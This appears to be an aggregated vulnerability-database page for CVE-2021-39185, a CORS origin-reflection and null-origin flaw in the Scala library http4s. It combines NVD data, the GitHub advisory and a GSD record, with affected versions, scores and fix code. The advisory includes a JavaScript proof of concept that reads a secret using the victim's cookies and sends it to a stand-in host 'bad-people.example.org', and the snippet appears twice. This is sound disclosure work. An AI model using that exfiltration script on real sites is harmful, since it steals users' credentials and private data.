              "status": "affected",
              "version": "\u003e= 0.22.0, \u003c 0.22.3"
            },
            {
              "status": "affected",
              "version": "\u003e= 0.23.0, \u003c 0.23.2"
            },
            {
              "status": "affected",
              "version": "\u003e= 1.0.0-M1, \u003c= 1.0.0-M24"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:typelevel:http4s:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "EA68C82D-88CA-4315-9FF9-DA0FE8223156",
              "versionEndIncluding": "0.21.26",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:typelevel:http4s:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "B4F97B04-29A9-4A32-BFC8-E971B72596F6",
              "versionEndIncluding": "0.22.2",
              "versionStartIncluding": "0.22.0",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:typelevel:http4s:0.23.0:*:*:*:*:*:*:*",
              "matchCriteriaId": "40C64FD8-E742-4D74-BCCD-C585A7E05A70",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:typelevel:http4s:0.23.1:*:*:*:*:*:*:*",
              "matchCriteriaId": "AB9E400F-E915-4E63-B580-F54C32CC8FA1",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone1:*:*:*:*:*:*",
              "matchCriteriaId": "65C497F9-281C-4565-BD36-B6B4D7E6F8BD",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone10:*:*:*:*:*:*",
              "matchCriteriaId": "6FCFC3E5-7530-4AAA-A2C7-36DC307B613B",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone11:*:*:*:*:*:*",
              "matchCriteriaId": "D03CBFE3-0B31-4D7C-BC5D-61DCD3C2C486",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone12:*:*:*:*:*:*",
              "matchCriteriaId": "76F8BC53-544C-4285-8D9B-CB91AD080048",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone13:*:*:*:*:*:*",
              "matchCriteriaId": "778947CA-20BA-469F-87E1-97D8713ACC75",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone14:*:*:*:*:*:*",
              "matchCriteriaId": "F5B02828-1E40-49BE-8367-10296625C696",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone15:*:*:*:*:*:*",
              "matchCriteriaId": "A569F32F-3C8C-4F8F-B0BC-6ADC993596A9",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone16:*:*:*:*:*:*",
              "matchCriteriaId": "525DBF4B-F574-459D-9CE2-6AF597ABAE10",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone17:*:*:*:*:*:*",
              "matchCriteriaId": "FD05B15E-1E4F-43EA-B21A-3B96A77814D6",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone18:*:*:*:*:*:*",
              "matchCriteriaId": "65C79F52-F05F-4F0A-AC27-393197B9EF00",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone19:*:*:*:*:*:*",
              "matchCriteriaId": "A426B4C0-643A-492F-B7FB-725549F613F6",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone2:*:*:*:*:*:*",
              "matchCriteriaId": "D95E231C-3D13-45FC-AF9A-CB8CF1FFC983",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone20:*:*:*:*:*:*",
              "matchCriteriaId": "CF973F58-0AC7-4B58-A2CF-654133CE7F1A",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone21:*:*:*:*:*:*",
              "matchCriteriaId": "35C40331-C96C-477C-B6BD-D5506E612DA8",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone22:*:*:*:*:*:*",
              "matchCriteriaId": "615BC827-3E0F-4C1E-8FD2-B59FF31F2D49",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone23:*:*:*:*:*:*",
              "matchCriteriaId": "FDFB35FD-4D08-4895-B1B6-FC03BCB3EB22",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone24:*:*:*:*:*:*",
              "matchCriteriaId": "97F74D04-031E-47D4-BA57-DBE9C74CE256",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone3:*:*:*:*:*:*",
              "matchCriteriaId": "DE093D65-1B3A-4A4A-BC76-05DEF9529712",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone4:*:*:*:*:*:*",
              "matchCriteriaId": "DC3CA618-148D-4F97-9913-316DDDD97838",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone5:*:*:*:*:*:*",
              "matchCriteriaId": "02FA538C-9D8A-49D5-8268-1A2C3E96B89B",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone6:*:*:*:*:*:*",
              "matchCriteriaId": "D18A3ABC-5C47-45BF-978C-5BB17787DCFA",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone7:*:*:*:*:*:*",
              "matchCriteriaId": "1CE1CF51-E61A-418A-AB22-9D7A6D690BAA",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone8:*:*:*:*:*:*",
              "matchCriteriaId": "29A70AAA-B77A-4291-A700-C910362DB8D4",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone9:*:*:*:*:*:*",
              "matchCriteriaId": "9F8F3C38-57AB-4CBC-8959-7FF51CBA7907",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Http4s is a minimal, idiomatic Scala interface for HTTP services. In http4s versions 0.21.26 and prior, 0.22.0 through 0.22.2, 0.23.0, 0.23.1, and 1.0.0-M1 through 1.0.0-M24, the default CORS configuration is vulnerable to an origin reflection attack. The middleware is also susceptible to a Null Origin Attack. The problem is fixed in 0.21.27, 0.22.3, 0.23.2, and 1.0.0-M25. The original `CORS` implementation and `CORSConfig` are deprecated. See the GitHub GHSA for more information, including code examples and workarounds."
    },
    {
      "lang": "es",
      "value": "Http4s es una interfaz m\u00ednima e idiom\u00e1tica de Scala para servicios HTTP. En http4s versiones 0.21.26 y anteriores, 0.22.0 hasta 0.22.2, 0.23.0, 0.23.1, y 1.0.0-M1 hasta 1.0.0-M24, la configuraci\u00f3n CORS predeterminada es vulnerable a un ataque de reflexi\u00f3n de origen. El middleware tambi\u00e9n es susceptible a un ataque de Origen Nulo. El problema se ha corregido en las versiones 0.21.27, 0.22.3, 0.23.2 y 1.0.0-M25. La implementaci\u00f3n original de \"CORS\" y \"CORSConfig\" est\u00e1n obsoletas. Consulte el GHSA de GitHub para conseguir m\u00e1s informaci\u00f3n, incluyendo ejemplos de c\u00f3digo y soluciones"
    }
  ],
  "id": "CVE-2021-39185",
  "lastModified": "2026-06-17T04:03:16.257",
  "metrics": {
    "cvssMetricV2": [
      {
        "acInsufInfo": false,
        "baseSeverity": "MEDIUM",
        "cvssData": {
          "accessComplexity": "LOW",
          "accessVector": "NETWORK",
          "authentication": "NONE",
          "availabilityImpact": "NONE",
          "baseScore": 6.4,
          "confidentialityImpact": "PARTIAL",
          "integrityImpact": "PARTIAL",
          "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:N",
          "version": "2.0"
        },
        "exploitabilityScore": 10.0,
        "impactScore": 4.9,
        "obtainAllPrivilege": false,
        "obtainOtherPrivilege": false,
        "obtainUserPrivilege": false,
        "source": "nvd@nist.gov",
        "type": "Primary",
        "userInteractionRequired": false
      }
    ],
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 9.1,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 5.2,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2021-09-01T20:15:07.447",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://github.com/http4s/http4s/releases/tag/v0.23.2"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch",
        "Third Party Advisory"
      ],
      "url": "https://github.com/http4s/http4s/security/advisories/GHSA-52cf-226f-rhr6"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://github.com/http4s/http4s/releases/tag/v0.23.2"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Patch",
        "Third Party Advisory"
      ],
      "url": "https://github.com/http4s/http4s/security/advisories/GHSA-52cf-226f-rhr6"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Modified",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-346"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-52CF-226F-RHR6

Vulnerability from github – Published: 2021-09-02 16:52 – Updated: 2025-12-11 21:15

Summary

Default CORS config allows any origin with credentials

Details

Impact

Origin reflection attack

The default CORS configuration is vulnerable to an origin reflection attack. Take the following http4s app app, using the default CORS config, running at https://vulnerable.example.com:

val routes: HttpRoutes[F] = HttpRoutes.of {
  case req if req.pathInfo === "/secret" =>
    Response(Ok).withEntity(password).pure[F]
}
val app = CORS(routes.orNotFound)

The following request is made to our server:

GET /secret HTTP/1.1
Host: vulnerable.example.com
Origin: https://adversary.example.net
Cookie: sessionId=...

When the anyOrigin flag of CORSConfig is true, as is the case in the default argument to CORS, the middleware will allow sharing its resource regardless of the allowedOrigins setting. Paired with the default allowCredentials, the server approves sharing responses that may have required credentials for sensitive information with any origin:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://adversary.example.org
Access-Control-Allow-Credentials: true 
Content-Type: text/plain

p4ssw0rd

A malicious script running on https://adversary.example.org/ can then exfiltrate sensitive information with the user's credentials to vulnerable.exmaple.org:

var req = new XMLHttpRequest(); 
req.onload = reqListener; 
req.open('get','https://vulnerable.example.org/secret',true); 
req.withCredentials = true;
req.send();

function reqListener() {
    location='//bad-people.example.org/log?key='+this.responseText; 
};

Null origin attack

The middleware is also susceptible to a Null Origin Attack. A user agent may send Origin: null when a request is made from a sandboxed iframe. The CORS-wrapped http4s app will respond with Access-Control-Allow-Origin: null, permitting a similar exfiltration of secrets to the above.

Patches

The problem is fixed in 0.21.27, 0.22.3, 0.23.2, and 1.0.0-M25. The original CORS implementation and CORSConfig are deprecated. In addition to the origin vulnerability, the following deficiencies in the deprecated version are fixed in the new signatures:

Migration

The CORS object exposes a default CORSPolicy via CORS.policy. This can be configured with various with* methods, like any http4s builder. Finally, the CORSPolicy may be applied to any Http, like any other http4s middleware:

val routes: HttpRoutes[F] = ???
val cors = CORS.policy
  .withAllowOriginAll
  .withAllowCredentials(false)
  .apply(routes)

Workarounds

It is possible to be safe in unpatched versions, but note the following defects exist:

The anyMethod flag, enabled by default, accepts methods that cannot be enumerated in the Access-Control-Allow-Methods preflight response.
Rejected CORS requests receive a 403 response, when the client should be the enforcement point. The server should just omit all CORS response headers.
Does not send Vary: Access-Control-Request-Headers on preflight requests. This may confuse caches.
Does not validate the Access-Control-Request-Headers of a preflight request. This validation is not mandated by the Fetch standard, but is typical of most server implementations.
Needlessly sends Vary: Access-Control-Request-Method on non-preflight requests. This should be harmless in practice.
Needlessly sends Access-Control-Max-Age header on non-preflight requests. This should be harmless in practice.
Sends an invalid Access-Control-Allow-Credentials: false instead of omitting the header. This should be harmless in practice.

Explicit origins

In versions before the patch, set anyOrigin to false, and then specifically include trusted origins in allowedOrigins.

0.21.x

val routes: HttpRoutes[F] = ???
val config = CORS.DefaultConfig.copy(
  anyOrigin = false,
  allowOrigins = Set("http://trusted.example.com")
)
val cors = CORS(routes, config)

0.22.x, 0.23.x, 1.x

val routes: HttpRoutes[F] = ???
val config = CORSConfig.default
  .withAnyOrigin(false)
  .withAllowedOrigins(Set("http://trusted.example.com"))
val cors = CORS(routes, config)

Disable credentials

Alternatively, sharing responses tainted by credentials can be deprecated.

0.21.x

val routes: HttpRoutes[F] = ???
val config = CORS.DefaultConfig.copy(allowCredentials = false)
val cors = CORS(routes, config)

0.22.x, 0.23.x, 1.x

val routes: HttpRoutes[F] = ???
val config = CORSConfig.default.withAllowedCredentials(false)
val cors = CORS(routes, config)

References

For more information

If you have any questions or comments about this advisory: * Open an issue in GitHub * Contact us via the http4s security policy

Severity

9.1 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 0.21.27"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-server_2.13.0-M5"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-server_3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.22.0"
            },
            {
              "fixed": "0.22.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-server_3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.23.0"
            },
            {
              "fixed": "0.23.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 0.21.27"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-server_2.10"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 0.21.27"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-server_2.11"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-server_2.12"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.21.27"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-server_2.12"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.22.0"
            },
            {
              "fixed": "0.22.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-server_2.12"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.23.0"
            },
            {
              "fixed": "0.23.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-server_2.13"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.21.27"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-server_2.13"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.22.0"
            },
            {
              "fixed": "0.22.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-server_2.13"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.23.0"
            },
            {
              "fixed": "0.23.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-39185"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-09-01T19:31:53Z",
    "nvd_published_at": "2021-09-01T20:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "### Impact\n\n#### Origin reflection attack\n\nThe default CORS configuration is vulnerable to an origin reflection attack.  Take the following http4s app `app`, using the default CORS config, running at https://vulnerable.example.com:\n\n```scala\nval routes: HttpRoutes[F] = HttpRoutes.of {\n  case req if req.pathInfo === \"/secret\" =\u003e\n    Response(Ok).withEntity(password).pure[F]\n}\nval app = CORS(routes.orNotFound)\n```\n\nThe following request is made to our server:\n\n```http\nGET /secret HTTP/1.1\nHost: vulnerable.example.com\nOrigin: https://adversary.example.net\nCookie: sessionId=...\n```\n\nWhen the `anyOrigin` flag of `CORSConfig` is `true`, as is the case in the default argument to `CORS`, the middleware will allow sharing its resource regardless of the `allowedOrigins` setting.  Paired with the default `allowCredentials`, the server approves sharing responses that may have required credentials for sensitive information with any origin:\n\n```http\nHTTP/1.1 200 OK\nAccess-Control-Allow-Origin: https://adversary.example.org\nAccess-Control-Allow-Credentials: true \nContent-Type: text/plain\n\np4ssw0rd\n```\n\nA malicious script running on `https://adversary.example.org/` can then exfiltrate sensitive information with the user\u0027s credentials to `vulnerable.exmaple.org`:\n\n```javascript\nvar req = new XMLHttpRequest(); \nreq.onload = reqListener; \nreq.open(\u0027get\u0027,\u0027https://vulnerable.example.org/secret\u0027,true); \nreq.withCredentials = true;\nreq.send();\n\nfunction reqListener() {\n    location=\u0027//bad-people.example.org/log?key=\u0027+this.responseText; \n};\n```\n\n#### Null origin attack\n\nThe middleware is also susceptible to a Null Origin Attack.  A user agent may send `Origin: null` when a request is made from a sandboxed iframe.  The CORS-wrapped http4s app will respond with `Access-Control-Allow-Origin: null`, permitting a similar exfiltration of secrets to the above.\n\n### Patches\n\nThe problem is fixed in 0.21.27, 0.22.3, 0.23.2, and 1.0.0-M25.  The original `CORS` implementation and `CORSConfig` are deprecated.  In addition to the origin vulnerability, the following deficiencies in the deprecated version are fixed in the new signatures:\n\n### Migration\n\nThe `CORS` object exposes a default `CORSPolicy` via `CORS.policy`.  This can be configured with various `with*` methods, like any http4s builder.  Finally, the `CORSPolicy` may be applied to any `Http`, like any other http4s middleware:\n\n```scala\nval routes: HttpRoutes[F] = ???\nval cors = CORS.policy\n  .withAllowOriginAll\n  .withAllowCredentials(false)\n  .apply(routes)\n```\n\n### Workarounds\n\nIt is possible to be safe in unpatched versions, but note the following defects exist:\n\n* The `anyMethod` flag, enabled by default, accepts methods that cannot be enumerated in the `Access-Control-Allow-Methods` preflight response.\n* Rejected CORS requests receive a `403` response, when the client should be the enforcement point. The server should just omit all CORS response headers.\n* Does not send `Vary: Access-Control-Request-Headers` on preflight requests. This may confuse caches.\n* Does not validate the `Access-Control-Request-Headers` of a preflight request. This validation is not mandated by the Fetch standard, but is typical of most server implementations.\n* Needlessly sends `Vary: Access-Control-Request-Method` on non-preflight requests.  This should be harmless in practice.\n* Needlessly sends `Access-Control-Max-Age` header on non-preflight requests.  This should be harmless in practice.\n* Sends an invalid `Access-Control-Allow-Credentials: false` instead of omitting the header.  This should be harmless in practice.\n\n#### Explicit origins\n\nIn versions before the patch, set `anyOrigin` to `false`, and then specifically include trusted origins in `allowedOrigins`.\n\n##### 0.21.x\n\n```scala\nval routes: HttpRoutes[F] = ???\nval config = CORS.DefaultConfig.copy(\n  anyOrigin = false,\n  allowOrigins = Set(\"http://trusted.example.com\")\n)\nval cors = CORS(routes, config)\n```\n\n###### 0.22.x, 0.23.x, 1.x\n\n```scala\nval routes: HttpRoutes[F] = ???\nval config = CORSConfig.default\n  .withAnyOrigin(false)\n  .withAllowedOrigins(Set(\"http://trusted.example.com\"))\nval cors = CORS(routes, config)\n```\n\n#### Disable credentials\n\nAlternatively, sharing responses tainted by credentials can be deprecated.\n\n##### 0.21.x\n\n```scala\nval routes: HttpRoutes[F] = ???\nval config = CORS.DefaultConfig.copy(allowCredentials = false)\nval cors = CORS(routes, config)\n```\n\n##### 0.22.x, 0.23.x, 1.x\n\n```scala\nval routes: HttpRoutes[F] = ???\nval config = CORSConfig.default.withAllowedCredentials(false)\nval cors = CORS(routes, config)\n```\n\n### References\n* The [MDN guide to CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS)\n* [PayloadsAllTheThings CORS misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/6cba7ceda93c3f64559c3e73881c21076536e5fb/CORS%20Misconfiguration/README.md)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [GitHub](http://github.com/http4s/http4s)\n* Contact us via the [http4s security policy](https://github.com/http4s/http4s/security/policy)",
  "id": "GHSA-52cf-226f-rhr6",
  "modified": "2025-12-11T21:15:42Z",
  "published": "2021-09-02T16:52:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/http4s/http4s/security/advisories/GHSA-52cf-226f-rhr6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-39185"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/http4s/http4s"
    },
    {
      "type": "WEB",
      "url": "https://github.com/http4s/http4s/releases/tag/v0.23.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Default CORS config allows any origin with credentials"
}

GSD-2021-39185

Vulnerability from gsd - Updated: 2023-12-13 01:23

Details

Aliases

CVE-2021-39185

Aliases

CVE-2021-39185

JSON

To clipboard

{
  "GSD": {
    "alias": "CVE-2021-39185",
    "description": "Http4s is a minimal, idiomatic Scala interface for HTTP services. In http4s versions 0.21.26 and prior, 0.22.0 through 0.22.2, 0.23.0, 0.23.1, and 1.0.0-M1 through 1.0.0-M24, the default CORS configuration is vulnerable to an origin reflection attack. The middleware is also susceptible to a Null Origin Attack. The problem is fixed in 0.21.27, 0.22.3, 0.23.2, and 1.0.0-M25. The original `CORS` implementation and `CORSConfig` are deprecated. See the GitHub GHSA for more information, including code examples and workarounds.",
    "id": "GSD-2021-39185"
  },
  "gsd": {
    "metadata": {
      "exploitCode": "unknown",
      "remediation": "unknown",
      "reportConfidence": "confirmed",
      "type": "vulnerability"
    },
    "osvSchema": {
      "aliases": [
        "CVE-2021-39185"
      ],
      "details": "Http4s is a minimal, idiomatic Scala interface for HTTP services. In http4s versions 0.21.26 and prior, 0.22.0 through 0.22.2, 0.23.0, 0.23.1, and 1.0.0-M1 through 1.0.0-M24, the default CORS configuration is vulnerable to an origin reflection attack. The middleware is also susceptible to a Null Origin Attack. The problem is fixed in 0.21.27, 0.22.3, 0.23.2, and 1.0.0-M25. The original `CORS` implementation and `CORSConfig` are deprecated. See the GitHub GHSA for more information, including code examples and workarounds.",
      "id": "GSD-2021-39185",
      "modified": "2023-12-13T01:23:15.364093Z",
      "schema_version": "1.4.0"
    }
  },
  "namespaces": {
    "cve.org": {
      "CVE_data_meta": {
        "ASSIGNER": "security-advisories@github.com",
        "ID": "CVE-2021-39185",
        "STATE": "PUBLIC",
        "TITLE": "Default CORS config allows any origin with credentials"
      },
      "affects": {
        "vendor": {
          "vendor_data": [
            {
              "product": {
                "product_data": [
                  {
                    "product_name": "http4s",
                    "version": {
                      "version_data": [
                        {
                          "version_value": "\u003c 0.21.27"
                        },
                        {
                          "version_value": "\u003e= 0.22.0, \u003c 0.22.3"
                        },
                        {
                          "version_value": "\u003e= 0.23.0, \u003c 0.23.2"
                        },
                        {
                          "version_value": "\u003e= 1.0.0-M1, \u003c= 1.0.0-M24"
                        }
                      ]
                    }
                  }
                ]
              },
              "vendor_name": "http4s"
            }
          ]
        }
      },
      "data_format": "MITRE",
      "data_type": "CVE",
      "data_version": "4.0",
      "description": {
        "description_data": [
          {
            "lang": "eng",
            "value": "Http4s is a minimal, idiomatic Scala interface for HTTP services. In http4s versions 0.21.26 and prior, 0.22.0 through 0.22.2, 0.23.0, 0.23.1, and 1.0.0-M1 through 1.0.0-M24, the default CORS configuration is vulnerable to an origin reflection attack. The middleware is also susceptible to a Null Origin Attack. The problem is fixed in 0.21.27, 0.22.3, 0.23.2, and 1.0.0-M25. The original `CORS` implementation and `CORSConfig` are deprecated. See the GitHub GHSA for more information, including code examples and workarounds."
          }
        ]
      },
      "impact": {
        "cvss": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 9.1,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
          "version": "3.1"
        }
      },
      "problemtype": {
        "problemtype_data": [
          {
            "description": [
              {
                "lang": "eng",
                "value": "CWE-346: Origin Validation Error"
              }
            ]
          }
        ]
      },
      "references": {
        "reference_data": [
          {
            "name": "https://github.com/http4s/http4s/security/advisories/GHSA-52cf-226f-rhr6",
            "refsource": "CONFIRM",
            "url": "https://github.com/http4s/http4s/security/advisories/GHSA-52cf-226f-rhr6"
          },
          {
            "name": "https://github.com/http4s/http4s/releases/tag/v0.23.2",
            "refsource": "MISC",
            "url": "https://github.com/http4s/http4s/releases/tag/v0.23.2"
          }
        ]
      },
      "source": {
        "advisory": "GHSA-52cf-226f-rhr6",
        "discovery": "UNKNOWN"
      }
    },
    "gitlab.com": {
      "advisories": [
        {
          "affected_range": "(,0.21.26],[0.22.0,0.22.2],[0.23.0,0.23.1],[1.0.0]",
          "affected_versions": "All versions up to 0.21.26, all versions starting from 0.22.0 up to 0.22.2, all versions starting from 0.23.0 up to 0.23.1, version 1.0.0",
          "cvss_v2": "AV:N/AC:L/Au:N/C:P/I:P/A:N",
          "cvss_v3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
          "cwe_ids": [
            "CWE-1035",
            "CWE-937"
          ],
          "date": "2021-09-15",
          "description": "The original `CORS` implementation and `CORSConfig` are deprecated.",
          "fixed_versions": [
            "0.21.27",
            "0.22-53-01128f5",
            "0.23.2",
            "1.0-2-1e49ccf"
          ],
          "identifier": "CVE-2021-39185",
          "identifiers": [
            "CVE-2021-39185",
            "GHSA-52cf-226f-rhr6"
          ],
          "not_impacted": "All versions after 0.21.26 before 0.22.0, all versions after 0.22.2 before 0.23.0, all versions after 0.23.1 before 1.0.0, all versions after 1.0.0",
          "package_slug": "maven/org.http4s/http4s-core_2.12",
          "pubdate": "2021-09-01",
          "solution": "Upgrade to versions 0.21.27, 0.22-53-01128f5, 0.23.2, 1.0-2-1e49ccf or above.",
          "title": "Origin Validation Error",
          "urls": [
            "https://nvd.nist.gov/vuln/detail/CVE-2021-39185"
          ],
          "uuid": "8fe867ea-897c-496e-a767-033876c73c22"
        },
        {
          "affected_range": "(,0.21.27),[0.22.0,0.22.3),[0.23.0,0.23.2)",
          "affected_versions": "All versions before 0.21.27, all versions starting from 0.22.0 before 0.22.3, all versions starting from 0.23.0 before 0.23.2",
          "cvss_v2": "AV:N/AC:L/Au:N/C:P/I:P/A:N",
          "cvss_v3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
          "cwe_ids": [
            "CWE-1035",
            "CWE-346",
            "CWE-937"
          ],
          "date": "2021-09-02",
          "description": "Http4s is a minimal, idiomatic Scala interface for HTTP services. In http4s versions 0.21.26 and prior, 0.22.0 through 0.22.2, 0.23.0, 0.23.1, and 1.0.0-M1 through 1.0.0-M24, the default CORS configuration is vulnerable to an origin reflection attack. The middleware is also susceptible to a Null Origin Attack. The problem is fixed in 0.21.27, 0.22.3, 0.23.2, and 1.0.0-M25. The original `CORS` implementation and `CORSConfig` are deprecated. See the GitHub GHSA for more information, including code examples and workarounds.",
          "fixed_versions": [
            "0.21.27",
            "0.22.3",
            "0.23.2"
          ],
          "identifier": "CVE-2021-39185",
          "identifiers": [
            "GHSA-52cf-226f-rhr6",
            "CVE-2021-39185"
          ],
          "not_impacted": "All versions starting from 0.21.27 before 0.22.0, all versions starting from 0.22.3 before 0.23.0, all versions starting from 0.23.2",
          "package_slug": "maven/org.http4s/http4s-server",
          "pubdate": "2021-09-02",
          "solution": "Upgrade to versions 0.21.27, 0.22.3, 0.23.2 or above.",
          "title": "Origin Validation Error",
          "urls": [
            "https://github.com/http4s/http4s/security/advisories/GHSA-52cf-226f-rhr6",
            "https://nvd.nist.gov/vuln/detail/CVE-2021-39185",
